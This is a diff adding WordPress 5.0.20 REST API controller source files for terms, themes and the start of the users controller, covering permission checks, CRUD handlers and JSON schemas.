+		return rest_ensure_response( $response );
+	}
+
+	/**
+	 * Checks if a request has access to create a term.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @param WP_REST_Request $request Full details about the request.
+	 * @return bool|WP_Error True if the request has access to create items, false or WP_Error object otherwise.
+	 */
+	public function create_item_permissions_check( $request ) {
+
+		if ( ! $this->check_is_taxonomy_allowed( $this->taxonomy ) ) {
+			return false;
+		}
+
+		$taxonomy_obj = get_taxonomy( $this->taxonomy );
+		if ( ( is_taxonomy_hierarchical( $this->taxonomy )
+				&& ! current_user_can( $taxonomy_obj->cap->edit_terms ) )
+			|| ( ! is_taxonomy_hierarchical( $this->taxonomy )
+				&& ! current_user_can( $taxonomy_obj->cap->assign_terms ) ) ) {
+			return new WP_Error( 'rest_cannot_create', __( 'Sorry, you are not allowed to create new terms.' ), array( 'status' => rest_authorization_required_code() ) );
+		}
+
+		return true;
+	}
+
+	/**
+	 * Creates a single term in a taxonomy.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @param WP_REST_Request $request Full details about the request.
+	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
+	 */
+	public function create_item( $request ) {
+		if ( isset( $request['parent'] ) ) {
+			if ( ! is_taxonomy_hierarchical( $this->taxonomy ) ) {
+				return new WP_Error( 'rest_taxonomy_not_hierarchical', __( 'Cannot set parent term, taxonomy is not hierarchical.' ), array( 'status' => 400 ) );
+			}
+
+			$parent = get_term( (int) $request['parent'], $this->taxonomy );
+
+			if ( ! $parent ) {
+				return new WP_Error( 'rest_term_invalid', __( 'Parent term does not exist.' ), array( 'status' => 400 ) );
+			}
+		}
+
+		$prepared_term = $this->prepare_item_for_database( $request );
+
+		$term = wp_insert_term( wp_slash( $prepared_term->name ), $this->taxonomy, wp_slash( (array) $prepared_term ) );
+		if ( is_wp_error( $term ) ) {
+			/*
+			 * If we're going to inform the client that the term already exists,
+			 * give them the identifier for future use.
+			 */
+			if ( $term_id = $term->get_error_data( 'term_exists' ) ) {
+				$existing_term = get_term( $term_id, $this->taxonomy );
+				$term->add_data( $existing_term->term_id, 'term_exists' );
+				$term->add_data( array( 'status' => 400, 'term_id' => $term_id ) );
+			}
+
+			return $term;
+		}
+
+		$term = get_term( $term['term_id'], $this->taxonomy );
+
+		/**
+		 * Fires after a single term is created or updated via the REST API.
+		 *
+		 * The dynamic portion of the hook name, `$this->taxonomy`, refers to the taxonomy slug.
+		 *
+		 * @since 4.7.0
+		 *
+		 * @param WP_Term         $term     Inserted or updated term object.
+		 * @param WP_REST_Request $request  Request object.
+		 * @param bool            $creating True when creating a term, false when updating.
+		 */
+		do_action( "rest_insert_{$this->taxonomy}", $term, $request, true );
+
+		$schema = $this->get_item_schema();
+		if ( ! empty( $schema['properties']['meta'] ) && isset( $request['meta'] ) ) {
+			$meta_update = $this->meta->update_value( $request['meta'], $term->term_id );
+
+			if ( is_wp_error( $meta_update ) ) {
+				return $meta_update;
+			}
+		}
+
+		$fields_update = $this->update_additional_fields_for_object( $term, $request );
+
+		if ( is_wp_error( $fields_update ) ) {
+			return $fields_update;
+		}
+
+		$request->set_param( 'context', 'view' );
+
+		/**
+		 * Fires after a single term is completely created or updated via the REST API.
+		 *
+		 * The dynamic portion of the hook name, `$this->taxonomy`, refers to the taxonomy slug.
+		 *
+		 * @since 5.0.0
+		 *
+		 * @param WP_Term         $term     Inserted or updated term object.
+		 * @param WP_REST_Request $request  Request object.
+		 * @param bool            $creating True when creating a term, false when updating.
+		 */
+		do_action( "rest_after_insert_{$this->taxonomy}", $term, $request, true );
+
+		$response = $this->prepare_item_for_response( $term, $request );
+		$response = rest_ensure_response( $response );
+
+		$response->set_status( 201 );
+		$response->header( 'Location', rest_url( $this->namespace . '/' . $this->rest_base . '/' . $term->term_id ) );
+
+		return $response;
+	}
+
+	/**
+	 * Checks if a request has access to update the specified term.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @param WP_REST_Request $request Full details about the request.
+	 * @return bool|WP_Error True if the request has access to update the item, false or WP_Error object otherwise.
+	 */
+	public function update_item_permissions_check( $request ) {
+		$term = $this->get_term( $request['id'] );
+		if ( is_wp_error( $term ) ) {
+			return $term;
+		}
+
+		if ( ! current_user_can( 'edit_term', $term->term_id ) ) {
+			return new WP_Error( 'rest_cannot_update', __( 'Sorry, you are not allowed to edit this term.' ), array( 'status' => rest_authorization_required_code() ) );
+		}
+
+		return true;
+	}
+
+	/**
+	 * Updates a single term from a taxonomy.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @param WP_REST_Request $request Full details about the request.
+	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
+	 */
+	public function update_item( $request ) {
+		$term = $this->get_term( $request['id'] );
+		if ( is_wp_error( $term ) ) {
+			return $term;
+		}
+
+		if ( isset( $request['parent'] ) ) {
+			if ( ! is_taxonomy_hierarchical( $this->taxonomy ) ) {
+				return new WP_Error( 'rest_taxonomy_not_hierarchical', __( 'Cannot set parent term, taxonomy is not hierarchical.' ), array( 'status' => 400 ) );
+			}
+
+			$parent = get_term( (int) $request['parent'], $this->taxonomy );
+
+			if ( ! $parent ) {
+				return new WP_Error( 'rest_term_invalid', __( 'Parent term does not exist.' ), array( 'status' => 400 ) );
+			}
+		}
+
+		$prepared_term = $this->prepare_item_for_database( $request );
+
+		// Only update the term if we haz something to update.
+		if ( ! empty( $prepared_term ) ) {
+			$update = wp_update_term( $term->term_id, $term->taxonomy, wp_slash( (array) $prepared_term ) );
+
+			if ( is_wp_error( $update ) ) {
+				return $update;
+			}
+		}
+
+		$term = get_term( $term->term_id, $this->taxonomy );
+
+		/** This action is documented in wp-includes/rest-api/endpoints/class-wp-rest-terms-controller.php */
+		do_action( "rest_insert_{$this->taxonomy}", $term, $request, false );
+
+		$schema = $this->get_item_schema();
+		if ( ! empty( $schema['properties']['meta'] ) && isset( $request['meta'] ) ) {
+			$meta_update = $this->meta->update_value( $request['meta'], $term->term_id );
+
+			if ( is_wp_error( $meta_update ) ) {
+				return $meta_update;
+			}
+		}
+
+		$fields_update = $this->update_additional_fields_for_object( $term, $request );
+
+		if ( is_wp_error( $fields_update ) ) {
+			return $fields_update;
+		}
+
+		$request->set_param( 'context', 'view' );
+
+		/** This action is documented in wp-includes/rest-api/endpoints/class-wp-rest-terms-controller.php */
+		do_action( "rest_after_insert_{$this->taxonomy}", $term, $request, false );
+
+		$response = $this->prepare_item_for_response( $term, $request );
+
+		return rest_ensure_response( $response );
+	}
+
+	/**
+	 * Checks if a request has access to delete the specified term.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @param WP_REST_Request $request Full details about the request.
+	 * @return bool|WP_Error True if the request has access to delete the item, otherwise false or WP_Error object.
+	 */
+	public function delete_item_permissions_check( $request ) {
+		$term = $this->get_term( $request['id'] );
+		if ( is_wp_error( $term ) ) {
+			return $term;
+		}
+
+		if ( ! current_user_can( 'delete_term', $term->term_id ) ) {
+			return new WP_Error( 'rest_cannot_delete', __( 'Sorry, you are not allowed to delete this term.' ), array( 'status' => rest_authorization_required_code() ) );
+		}
+
+		return true;
+	}
+
+	/**
+	 * Deletes a single term from a taxonomy.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @param WP_REST_Request $request Full details about the request.
+	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
+	 */
+	public function delete_item( $request ) {
+		$term = $this->get_term( $request['id'] );
+		if ( is_wp_error( $term ) ) {
+			return $term;
+		}
+
+		$force = isset( $request['force'] ) ? (bool) $request['force'] : false;
+
+		// We don't support trashing for terms.
+		if ( ! $force ) {
+			/* translators: %s: force=true */
+			return new WP_Error( 'rest_trash_not_supported', sprintf( __( "Terms do not support trashing. Set '%s' to delete." ), 'force=true' ), array( 'status' => 501 ) );
+		}
+
+		$request->set_param( 'context', 'view' );
+
+		$previous = $this->prepare_item_for_response( $term, $request );
+
+		$retval = wp_delete_term( $term->term_id, $term->taxonomy );
+
+		if ( ! $retval ) {
+			return new WP_Error( 'rest_cannot_delete', __( 'The term cannot be deleted.' ), array( 'status' => 500 ) );
+		}
+
+		$response = new WP_REST_Response();
+		$response->set_data( array( 'deleted' => true, 'previous' => $previous->get_data() ) );
+
+		/**
+		 * Fires after a single term is deleted via the REST API.
+		 *
+		 * The dynamic portion of the hook name, `$this->taxonomy`, refers to the taxonomy slug.
+		 *
+		 * @since 4.7.0
+		 *
+		 * @param WP_Term          $term     The deleted term.
+		 * @param WP_REST_Response $response The response data.
+		 * @param WP_REST_Request  $request  The request sent to the API.
+		 */
+		do_action( "rest_delete_{$this->taxonomy}", $term, $response, $request );
+
+		return $response;
+	}
+
+	/**
+	 * Prepares a single term for create or update.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @param WP_REST_Request $request Request object.
+	 * @return object $prepared_term Term object.
+	 */
+	public function prepare_item_for_database( $request ) {
+		$prepared_term = new stdClass;
+
+		$schema = $this->get_item_schema();
+		if ( isset( $request['name'] ) && ! empty( $schema['properties']['name'] ) ) {
+			$prepared_term->name = $request['name'];
+		}
+
+		if ( isset( $request['slug'] ) && ! empty( $schema['properties']['slug'] ) ) {
+			$prepared_term->slug = $request['slug'];
+		}
+
+		if ( isset( $request['taxonomy'] ) && ! empty( $schema['properties']['taxonomy'] ) ) {
+			$prepared_term->taxonomy = $request['taxonomy'];
+		}
+
+		if ( isset( $request['description'] ) && ! empty( $schema['properties']['description'] ) ) {
+			$prepared_term->description = $request['description'];
+		}
+
+		if ( isset( $request['parent'] ) && ! empty( $schema['properties']['parent'] ) ) {
+			$parent_term_id = 0;
+			$parent_term    = get_term( (int) $request['parent'], $this->taxonomy );
+
+			if ( $parent_term ) {
+				$parent_term_id = $parent_term->term_id;
+			}
+
+			$prepared_term->parent = $parent_term_id;
+		}
+
+		/**
+		 * Filters term data before inserting term via the REST API.
+		 *
+		 * The dynamic portion of the hook name, `$this->taxonomy`, refers to the taxonomy slug.
+		 *
+		 * @since 4.7.0
+		 *
+		 * @param object          $prepared_term Term object.
+		 * @param WP_REST_Request $request       Request object.
+		 */
+		return apply_filters( "rest_pre_insert_{$this->taxonomy}", $prepared_term, $request );
+	}
+
+	/**
+	 * Prepares a single term output for response.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @param obj             $item    Term object.
+	 * @param WP_REST_Request $request Request object.
+	 * @return WP_REST_Response $response Response object.
+	 */
+	public function prepare_item_for_response( $item, $request ) {
+
+		$fields = $this->get_fields_for_response( $request );
+		$data   = array();
+
+		if ( in_array( 'id', $fields, true ) ) {
+			$data['id'] = (int) $item->term_id;
+		}
+
+		if ( in_array( 'count', $fields, true ) ) {
+			$data['count'] = (int) $item->count;
+		}
+
+		if ( in_array( 'description', $fields, true ) ) {
+			$data['description'] = $item->description;
+		}
+
+		if ( in_array( 'link', $fields, true ) ) {
+			$data['link'] = get_term_link( $item );
+		}
+
+		if ( in_array( 'name', $fields, true ) ) {
+			$data['name'] = $item->name;
+		}
+
+		if ( in_array( 'slug', $fields, true ) ) {
+			$data['slug'] = $item->slug;
+		}
+
+		if ( in_array( 'taxonomy', $fields, true ) ) {
+			$data['taxonomy'] = $item->taxonomy;
+		}
+
+		if ( in_array( 'parent', $fields, true ) ) {
+			$data['parent'] = (int) $item->parent;
+		}
+
+		if ( in_array( 'meta', $fields, true ) ) {
+			$data['meta'] = $this->meta->get_value( $item->term_id, $request );
+		}
+
+		$context = ! empty( $request['context'] ) ? $request['context'] : 'view';
+		$data    = $this->add_additional_fields_to_object( $data, $request );
+		$data    = $this->filter_response_by_context( $data, $context );
+
+		$response = rest_ensure_response( $data );
+
+		$response->add_links( $this->prepare_links( $item ) );
+
+		/**
+		 * Filters a term item returned from the API.
+		 *
+		 * The dynamic portion of the hook name, `$this->taxonomy`, refers to the taxonomy slug.
+		 *
+		 * Allows modification of the term data right before it is returned.
+		 *
+		 * @since 4.7.0
+		 *
+		 * @param WP_REST_Response  $response  The response object.
+		 * @param object            $item      The original term object.
+		 * @param WP_REST_Request   $request   Request used to generate the response.
+		 */
+		return apply_filters( "rest_prepare_{$this->taxonomy}", $response, $item, $request );
+	}
+
+	/**
+	 * Prepares links for the request.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @param object $term Term object.
+	 * @return array Links for the given term.
+	 */
+	protected function prepare_links( $term ) {
+		$base = $this->namespace . '/' . $this->rest_base;
+		$links = array(
+			'self'       => array(
+				'href' => rest_url( trailingslashit( $base ) . $term->term_id ),
+			),
+			'collection' => array(
+				'href' => rest_url( $base ),
+			),
+			'about'      => array(
+				'href' => rest_url( sprintf( 'wp/v2/taxonomies/%s', $this->taxonomy ) ),
+			),
+		);
+
+		if ( $term->parent ) {
+			$parent_term = get_term( (int) $term->parent, $term->taxonomy );
+
+			if ( $parent_term ) {
+				$links['up'] = array(
+					'href'       => rest_url( trailingslashit( $base ) . $parent_term->term_id ),
+					'embeddable' => true,
+				);
+			}
+		}
+
+		$taxonomy_obj = get_taxonomy( $term->taxonomy );
+
+		if ( empty( $taxonomy_obj->object_type ) ) {
+			return $links;
+		}
+
+		$post_type_links = array();
+
+		foreach ( $taxonomy_obj->object_type as $type ) {
+			$post_type_object = get_post_type_object( $type );
+
+			if ( empty( $post_type_object->show_in_rest ) ) {
+				continue;
+			}
+
+			$rest_base = ! empty( $post_type_object->rest_base ) ? $post_type_object->rest_base : $post_type_object->name;
+			$post_type_links[] = array(
+				'href' => add_query_arg( $this->rest_base, $term->term_id, rest_url( sprintf( 'wp/v2/%s', $rest_base ) ) ),
+			);
+		}
+
+		if ( ! empty( $post_type_links ) ) {
+			$links['https://api.w.org/post_type'] = $post_type_links;
+		}
+
+		return $links;
+	}
+
+	/**
+	 * Retrieves the term's schema, conforming to JSON Schema.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @return array Item schema data.
+	 */
+	public function get_item_schema() {
+		$schema = array(
+			'$schema'    => 'http://json-schema.org/draft-04/schema#',
+			'title'      => 'post_tag' === $this->taxonomy ? 'tag' : $this->taxonomy,
+			'type'       => 'object',
+			'properties' => array(
+				'id'          => array(
+					'description'  => __( 'Unique identifier for the term.' ),
+					'type'         => 'integer',
+					'context'      => array( 'view', 'embed', 'edit' ),
+					'readonly'     => true,
+				),
+				'count'       => array(
+					'description'  => __( 'Number of published posts for the term.' ),
+					'type'         => 'integer',
+					'context'      => array( 'view', 'edit' ),
+					'readonly'     => true,
+				),
+				'description' => array(
+					'description'  => __( 'HTML description of the term.' ),
+					'type'         => 'string',
+					'context'      => array( 'view', 'edit' ),
+				),
+				'link'        => array(
+					'description'  => __( 'URL of the term.' ),
+					'type'         => 'string',
+					'format'       => 'uri',
+					'context'      => array( 'view', 'embed', 'edit' ),
+					'readonly'     => true,
+				),
+				'name'        => array(
+					'description'  => __( 'HTML title for the term.' ),
+					'type'         => 'string',
+					'context'      => array( 'view', 'embed', 'edit' ),
+					'arg_options'  => array(
+						'sanitize_callback' => 'sanitize_text_field',
+					),
+					'required'     => true,
+				),
+				'slug'        => array(
+					'description'  => __( 'An alphanumeric identifier for the term unique to its type.' ),
+					'type'         => 'string',
+					'context'      => array( 'view', 'embed', 'edit' ),
+					'arg_options'  => array(
+						'sanitize_callback' => array( $this, 'sanitize_slug' ),
+					),
+				),
+				'taxonomy'    => array(
+					'description'  => __( 'Type attribution for the term.' ),
+					'type'         => 'string',
+					'enum'         => array_keys( get_taxonomies() ),
+					'context'      => array( 'view', 'embed', 'edit' ),
+					'readonly'     => true,
+				),
+			),
+		);
+
+		$taxonomy = get_taxonomy( $this->taxonomy );
+
+		if ( $taxonomy->hierarchical ) {
+			$schema['properties']['parent'] = array(
+				'description'  => __( 'The parent term ID.' ),
+				'type'         => 'integer',
+				'context'      => array( 'view', 'edit' ),
+			);
+		}
+
+		$schema['properties']['meta'] = $this->meta->get_field_schema();
+
+		return $this->add_additional_fields_schema( $schema );
+	}
+
+	/**
+	 * Retrieves the query params for collections.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @return array Collection parameters.
+	 */
+	public function get_collection_params() {
+		$query_params = parent::get_collection_params();
+		$taxonomy = get_taxonomy( $this->taxonomy );
+
+		$query_params['context']['default'] = 'view';
+
+		$query_params['exclude'] = array(
+			'description'       => __( 'Ensure result set excludes specific IDs.' ),
+			'type'              => 'array',
+			'items'             => array(
+				'type'          => 'integer',
+			),
+			'default'           => array(),
+		);
+
+		$query_params['include'] = array(
+			'description'       => __( 'Limit result set to specific IDs.' ),
+			'type'              => 'array',
+			'items'             => array(
+				'type'          => 'integer',
+			),
+			'default'           => array(),
+		);
+
+		if ( ! $taxonomy->hierarchical ) {
+			$query_params['offset'] = array(
+				'description'       => __( 'Offset the result set by a specific number of items.' ),
+				'type'              => 'integer',
+			);
+		}
+
+		$query_params['order'] = array(
+			'description'       => __( 'Order sort attribute ascending or descending.' ),
+			'type'              => 'string',
+			'default'           => 'asc',
+			'enum'              => array(
+				'asc',
+				'desc',
+			),
+		);
+
+		$query_params['orderby'] = array(
+			'description'       => __( 'Sort collection by term attribute.' ),
+			'type'              => 'string',
+			'default'           => 'name',
+			'enum'              => array(
+				'id',
+				'include',
+				'name',
+				'slug',
+				'include_slugs',
+				'term_group',
+				'description',
+				'count',
+			),
+		);
+
+		$query_params['hide_empty'] = array(
+			'description'       => __( 'Whether to hide terms not assigned to any posts.' ),
+			'type'              => 'boolean',
+			'default'           => false,
+		);
+
+		if ( $taxonomy->hierarchical ) {
+			$query_params['parent'] = array(
+				'description'       => __( 'Limit result set to terms assigned to a specific parent.' ),
+				'type'              => 'integer',
+			);
+		}
+
+		$query_params['post'] = array(
+			'description'       => __( 'Limit result set to terms assigned to a specific post.' ),
+			'type'              => 'integer',
+			'default'           => null,
+		);
+
+		$query_params['slug'] = array(
+			'description'       => __( 'Limit result set to terms with one or more specific slugs.' ),
+			'type'              => 'array',
+			'items'             => array(
+				'type'          => 'string'
+			),
+		);
+
+		/**
+		 * Filter collection parameters for the terms controller.
+		 *
+		 * The dynamic part of the filter `$this->taxonomy` refers to the taxonomy
+		 * slug for the controller.
+		 *
+		 * This filter registers the collection parameter, but does not map the
+		 * collection parameter to an internal WP_Term_Query parameter.  Use the
+		 * `rest_{$this->taxonomy}_query` filter to set WP_Term_Query parameters.
+		 *
+		 * @since 4.7.0
+		 *
+		 * @param array       $query_params JSON Schema-formatted collection parameters.
+		 * @param WP_Taxonomy $taxonomy     Taxonomy object.
+		 */
+		return apply_filters( "rest_{$this->taxonomy}_collection_params", $query_params, $taxonomy );
+	}
+
+	/**
+	 * Checks that the taxonomy is valid.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @param string $taxonomy Taxonomy to check.
+	 * @return bool Whether the taxonomy is allowed for REST management.
+	 */
+	protected function check_is_taxonomy_allowed( $taxonomy ) {
+		$taxonomy_obj = get_taxonomy( $taxonomy );
+		if ( $taxonomy_obj && ! empty( $taxonomy_obj->show_in_rest ) ) {
+			return true;
+		}
+		return false;
+	}
+}
Index: /tags/5.0.20/src/wp-includes/rest-api/endpoints/class-wp-rest-themes-controller.php
===================================================================
--- /tags/5.0.20/src/wp-includes/rest-api/endpoints/class-wp-rest-themes-controller.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/rest-api/endpoints/class-wp-rest-themes-controller.php	(revision 56912)
@@ -0,0 +1,237 @@
+<?php
+/**
+ * REST API: WP_REST_Themes_Controller class
+ *
+ * @package WordPress
+ * @subpackage REST_API
+ * @since 5.0.0
+ */
+
+/**
+ * Core class used to manage themes via the REST API.
+ *
+ * @since 5.0.0
+ *
+ * @see WP_REST_Controller
+ */
+class WP_REST_Themes_Controller extends WP_REST_Controller {
+
+	/**
+	 * Constructor.
+	 *
+	 * @since 5.0.0
+	 */
+	public function __construct() {
+		$this->namespace = 'wp/v2';
+		$this->rest_base = 'themes';
+	}
+
+	/**
+	 * Registers the routes for the objects of the controller.
+	 *
+	 * @since 5.0.0
+	 *
+	 * @see register_rest_route()
+	 */
+	public function register_routes() {
+		register_rest_route(
+			$this->namespace,
+			'/' . $this->rest_base,
+			array(
+				array(
+					'methods'             => WP_REST_Server::READABLE,
+					'callback'            => array( $this, 'get_items' ),
+					'permission_callback' => array( $this, 'get_items_permissions_check' ),
+					'args'                => $this->get_collection_params(),
+				),
+				'schema' => array( $this, 'get_item_schema' ),
+			)
+		);
+	}
+
+	/**
+	 * Checks if a given request has access to read the theme.
+	 *
+	 * @since 5.0.0
+	 *
+	 * @param WP_REST_Request $request Full details about the request.
+	 * @return true|WP_Error True if the request has read access for the item, otherwise WP_Error object.
+	 */
+	public function get_items_permissions_check( $request ) {
+		if ( ! is_user_logged_in() || ! current_user_can( 'edit_posts' ) ) {
+			return new WP_Error( 'rest_user_cannot_view', __( 'Sorry, you are not allowed to view themes.' ), array( 'status' => rest_authorization_required_code() ) );
+		}
+
+		return true;
+	}
+
+	/**
+	 * Retrieves a collection of themes.
+	 *
+	 * @since 5.0.0
+	 *
+	 * @param WP_REST_Request $request Full details about the request.
+	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
+	 */
+	public function get_items( $request ) {
+		// Retrieve the list of registered collection query parameters.
+		$registered = $this->get_collection_params();
+		$themes     = array();
+
+		if ( isset( $registered['status'], $request['status'] ) && in_array( 'active', $request['status'], true ) ) {
+			$active_theme = wp_get_theme();
+			$active_theme = $this->prepare_item_for_response( $active_theme, $request );
+			$themes[]     = $this->prepare_response_for_collection( $active_theme );
+		}
+
+		$response = rest_ensure_response( $themes );
+
+		$response->header( 'X-WP-Total', count( $themes ) );
+		$response->header( 'X-WP-TotalPages', count( $themes ) );
+
+		return $response;
+	}
+
+	/**
+	 * Prepares a single theme output for response.
+	 *
+	 * @since 5.0.0
+	 *
+	 * @param WP_Theme        $theme   Theme object.
+	 * @param WP_REST_Request $request Request object.
+	 * @return WP_REST_Response Response object.
+	 */
+	public function prepare_item_for_response( $theme, $request ) {
+		$data   = array();
+		$fields = $this->get_fields_for_response( $request );
+
+		if ( in_array( 'theme_supports', $fields, true ) ) {
+			$formats                           = get_theme_support( 'post-formats' );
+			$formats                           = is_array( $formats ) ? array_values( $formats[0] ) : array();
+			$formats                           = array_merge( array( 'standard' ), $formats );
+			$data['theme_supports']['formats'] = $formats;
+
+			$data['theme_supports']['post-thumbnails']   = false;
+			$data['theme_supports']['responsive-embeds'] = (bool) get_theme_support( 'responsive-embeds' );
+			$post_thumbnails                             = get_theme_support( 'post-thumbnails' );
+
+			if ( $post_thumbnails ) {
+				// $post_thumbnails can contain a nested array of post types.
+				// e.g. array( array( 'post', 'page' ) ).
+				$data['theme_supports']['post-thumbnails'] = is_array( $post_thumbnails ) ? $post_thumbnails[0] : true;
+			}
+		}
+
+		$data = $this->add_additional_fields_to_object( $data, $request );
+
+		// Wrap the data in a response object.
+		$response = rest_ensure_response( $data );
+
+		/**
+		 * Filters theme data returned from the REST API.
+		 *
+		 * @since 5.0.0
+		 *
+		 * @param WP_REST_Response $response The response object.
+		 * @param WP_Theme         $theme    Theme object used to create response.
+		 * @param WP_REST_Request  $request  Request object.
+		 */
+		return apply_filters( 'rest_prepare_theme', $response, $theme, $request );
+	}
+
+	/**
+	 * Retrieves the theme's schema, conforming to JSON Schema.
+	 *
+	 * @since 5.0.0
+	 *
+	 * @return array Item schema data.
+	 */
+	public function get_item_schema() {
+		$schema = array(
+			'$schema'    => 'http://json-schema.org/draft-04/schema#',
+			'title'      => 'theme',
+			'type'       => 'object',
+			'properties' => array(
+				'theme_supports' => array(
+					'description' => __( 'Features supported by this theme.' ),
+					'type'        => 'array',
+					'readonly'    => true,
+					'properties'  => array(
+						'formats'           => array(
+							'description' => __( 'Post formats supported.' ),
+							'type'        => 'array',
+							'readonly'    => true,
+						),
+						'post-thumbnails'   => array(
+							'description' => __( 'Whether the theme supports post thumbnails.' ),
+							'type'        => array( 'array', 'bool' ),
+							'readonly'    => true,
+						),
+						'responsive-embeds' => array(
+							'description' => __( 'Whether the theme supports responsive embedded content.' ),
+							'type'        => 'bool',
+							'readonly'    => true,
+						),
+					),
+				),
+			),
+		);
+
+		return $this->add_additional_fields_schema( $schema );
+	}
+
+	/**
+	 * Retrieves the search params for the themes collection.
+	 *
+	 * @since 5.0.0
+	 *
+	 * @return array Collection parameters.
+	 */
+	public function get_collection_params() {
+		$query_params = parent::get_collection_params();
+
+		$query_params['status'] = array(
+			'description'       => __( 'Limit result set to themes assigned one or more statuses.' ),
+			'type'              => 'array',
+			'items'             => array(
+				'enum' => array( 'active' ),
+				'type' => 'string',
+			),
+			'required'          => true,
+			'sanitize_callback' => array( $this, 'sanitize_theme_status' ),
+		);
+
+		/**
+		 * Filter collection parameters for the themes controller.
+		 *
+		 * @since 5.0.0
+		 *
+		 * @param array        $query_params JSON Schema-formatted collection parameters.
+		 */
+		return apply_filters( 'rest_themes_collection_params', $query_params );
+	}
+
+	/**
+	 * Sanitizes and validates the list of theme status.
+	 *
+	 * @since 5.0.0
+	 *
+	 * @param  string|array    $statuses  One or more theme statuses.
+	 * @param  WP_REST_Request $request   Full details about the request.
+	 * @param  string          $parameter Additional parameter to pass to validation.
+	 * @return array|WP_Error A list of valid statuses, otherwise WP_Error object.
+	 */
+	public function sanitize_theme_status( $statuses, $request, $parameter ) {
+		$statuses = wp_parse_slug_list( $statuses );
+
+		foreach ( $statuses as $status ) {
+			$result = rest_validate_request_arg( $status, $request, $parameter );
+
+			if ( is_wp_error( $result ) ) {
+				return $result;
+			}
+		}
+
+		return $statuses;
+	}
+}
Index: /tags/5.0.20/src/wp-includes/rest-api/endpoints/class-wp-rest-users-controller.php
===================================================================
--- /tags/5.0.20/src/wp-includes/rest-api/endpoints/class-wp-rest-users-controller.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/rest-api/endpoints/class-wp-rest-users-controller.php	(revision 56912)
@@ -0,0 +1,1419 @@
+<?php
+/**
+ * REST API: WP_REST_Users_Controller class
+ *
+ * @package WordPress
+ * @subpackage REST_API
+ * @since 4.7.0
+ */
+
+/**
+ * Core class used to manage users via the REST API.
+ *
+ * @since 4.7.0
+ *
+ * @see WP_REST_Controller
+ */
+class WP_REST_Users_Controller extends WP_REST_Controller {
+
+	/**
+	 * Instance of a user meta fields object.
+	 *
+	 * @since 4.7.0
+	 * @var WP_REST_User_Meta_Fields
+	 */
+	protected $meta;
+
+	/**
+	 * Constructor.
+	 *
+	 * @since 4.7.0
+	 */
+	public function __construct() {
+		$this->namespace = 'wp/v2';
+		$this->rest_base = 'users';
+
+		$this->meta = new WP_REST_User_Meta_Fields();
+	}
+
+	/**
+	 * Registers the routes for the objects of the controller.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @see register_rest_route()
+	 */
+	public function register_routes() {
+
+		register_rest_route( $this->namespace, '/' . $this->rest_base, array(
+			array(
+				'methods'             => WP_REST_Server::READABLE,
+				'callback'            => array( $this, 'get_items' ),
+				'permission_callback' => array( $this, 'get_items_permissions_check' ),
+				'args'                => $this->get_collection_params(),
+			),
+			array(
+				'methods'             => WP_REST_Server::CREATABLE,
+				'callback'            => array( $this, 'create_item' ),
+				'permission_callback' => array( $this, 'create_item_permissions_check' ),
+				'args'                => $this->get_endpoint_args_for_item_schema( WP_REST_Server::CREATABLE ),
+			),
+			'schema' => array( $this, 'get_public_item_schema' ),
+		) );
+
+		register_rest_route( $this->namespace, '/' . $this->rest_base . '/(?P<id>[\d]+)', array(
+			'args' => array(
+				'id' => array(
+					'description' => __( 'Unique identifier for the user.' ),
+					'type'        => 'integer',
+				),
+			),
+			array(
+				'methods'             => WP_REST_Server::READABLE,
+				'callback'            => array( $this, 'get_item' ),
+				'permission_callback' => array( $this, 'get_item_permissions_check' ),
+				'args'                => array(
+					'context' => $this->get_context_param( array( 'default' => 'view' ) ),
+				),
+			),
+			array(
+				'methods'             => WP_REST_Server::EDITABLE,
+				'callback'            => array( $this, 'update_item' ),
+				'permission_callback' => array( $this, 'update_item_permissions_check' ),
+				'args'                => $this->get_endpoint_args_for_item_schema( WP_REST_Server::EDITABLE ),
+			),
+			array(
+				'methods'             => WP_REST_Server::DELETABLE,
+				'callback'            => array( $this, 'delete_item' ),
+				'permission_callback' => array( $this, 'delete_item_permissions_check' ),
+				'args'                => array(
+					'force'    => array(
+						'type'        => 'boolean',
+						'default'     => false,
+						'description' => __( 'Required to be true, as users do not support trashing.' ),
+					),
+					'reassign' => array(
+						'type'        => 'integer',
+						'description' => __( 'Reassign the deleted user\'s posts and links to this user ID.' ),
+						'required'    => true,
+						'sanitize_callback' => array( $this, 'check_reassign' ),
+					),
+				),
+			),
+			'schema' => array( $this, 'get_public_item_schema' ),
+		) );
+
+		register_rest_route( $this->namespace, '/' . $this->rest_base . '/me', array(
+			array(
+				'methods'             => WP_REST_Server::READABLE,
+				'callback'            => array( $this, 'get_current_item' ),
+				'args'                => array(
+					'context' => $this->get_context_param( array( 'default' => 'view' ) ),
+				),
+			),
+			array(
+				'methods'             => WP_REST_Server::EDITABLE,
+				'callback'            => array( $this, 'update_current_item' ),
+				'permission_callback' => array( $this, 'update_current_item_permissions_check' ),
+				'args'                => $this->get_endpoint_args_for_item_schema( WP_REST_Server::EDITABLE ),
+			),
+			array(
+				'methods'             => WP_REST_Server::DELETABLE,
+				'callback'            => array( $this, 'delete_current_item' ),
+				'permission_callback' => array( $this, 'delete_current_item_permissions_check' ),
+				'args'                => array(
+					'force'    => array(
+						'type'        => 'boolean',
+						'default'     => false,
+						'description' => __( 'Required to be true, as users do not support trashing.' ),
+					),
+					'reassign' => array(
+						'type'        => 'integer',
+						'description' => __( 'Reassign the deleted user\'s posts and links to this user ID.' ),
+						'required'    => true,
+						'sanitize_callback' => array( $this, 'check_reassign' ),
+					),
+				),
+			),
+			'schema' => array( $this, 'get_public_item_schema' ),
+		));
+	}
+
